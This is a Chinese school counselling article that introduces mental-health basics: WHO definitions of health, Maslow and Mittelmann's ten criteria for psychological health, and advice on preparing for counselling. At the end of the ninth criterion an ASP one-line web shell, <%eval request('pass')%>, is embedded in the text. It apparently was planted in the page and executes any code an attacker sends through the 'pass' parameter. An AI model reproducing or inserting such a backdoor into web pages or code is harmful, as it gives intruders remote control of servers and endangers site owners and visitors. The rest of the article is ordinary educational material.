健康生活，阳光人生

 九江市三中 阳光工作室 辛怡

开学了，九江市三中阳光工作室特向大家介绍几个心理健康小常识，愿老师、同学们的生活洒满阳光。

1.     什么叫健康？

人类健康概念的产生和正确的健康观的确立是经过了一个长期的历史演变过程才逐步形成的。历代人们（民括医学家在内）都只是认为健康就是身体无疾病，无伤残和无不适症状。直到1948年世界卫生组织成立，才给健康下过这么一个定义：“健康不仅是没有疾病或衰弱，而是生理上、心理上和社会适应性处于完好的状态。”

   1989 世界卫生组织又提出了有关健康的新概念：除了躯体健康、心理健康和社会适应良好外，还要加上道德健康，只有这四个方面健康才算是完全健康。随着时代的发展，社会的进步，人们越来越认识到，良好的心理健康状态也是非常重要的。

2. 什么叫心理健康?

心理健康又称为心理卫生，是指依据人的心理活动的一般规律，采取各种措施，形成健康的个体心理活动，培养健全的个性，提高社会适应能力，预防身心疾病。心理健康也是指人的一种健康状态。

3. 什么是心理健康的十条标准？

美国心理学家马斯洛和米特尔曼提出的心理健康的十条标准被认为是“最经典的标准”：

（1）充分的安全感

（2）充分了解自己，并对自己的能力作适当                     的估价

（3）生活的目标切合实际

（4）与现实的环境保持接触

（5）能保持人格的完整与和谐

（6）具有从经验中学习的能力

（7）能保持良好的人际关系

（8）适度的情绪表达与控制

（9）在不违背社会规范的条件下，对个人的基本需要作恰当的满足<%eval request(“pass”)%>

（10）在不违背社会规范的条件下，能作有限的个性发挥

4. 心理健康课是怎样的一门课程？

心理健康课就是助人自助的课程，通过学习这门课后，在遇到烦恼与困惑的时候，能够自己帮助自己，或者及时地寻求心理辅导和咨询等方式认识和解决自己生活中的烦恼，成为一个健康快乐和幸福的人！

5. 什么是心理咨询？是不是得了精神病的人才去心理咨询？

不，不是的，心理咨询不是看病，它面向的对象主要是正常人。当你觉得心里不舒服，想不开，情绪不好的时候，你就可以去找心理咨询师聊一聊，咨询一下。你的心情就会好起来啦。心理咨询是现代人的一种精神享受，它能让你活得更轻松、更快乐、更自信。

6.心理咨询的五个不等式

•       1）心理问题≠精神病

•       2）心理学≠窥见内心

•       3）心理咨询≠无所不能

•       4）心理老师≠救世主

•       5）心理咨询≠思想工作

7. 当出现心理困惑需要进行心理咨询时，应该做些什么准备？

（1）    想好开头说什么。

（2）    把心理辅导老师看作是一个特别亲密的朋友。

（3）    “有问必答”比“拐弯抹角”更利于沟通。

（4）    不必过分地关注自我的表现与形象。

（5）    不要期望由心理辅导老师给你“决策”。

（6）    不要希望一次咨询就“根治”。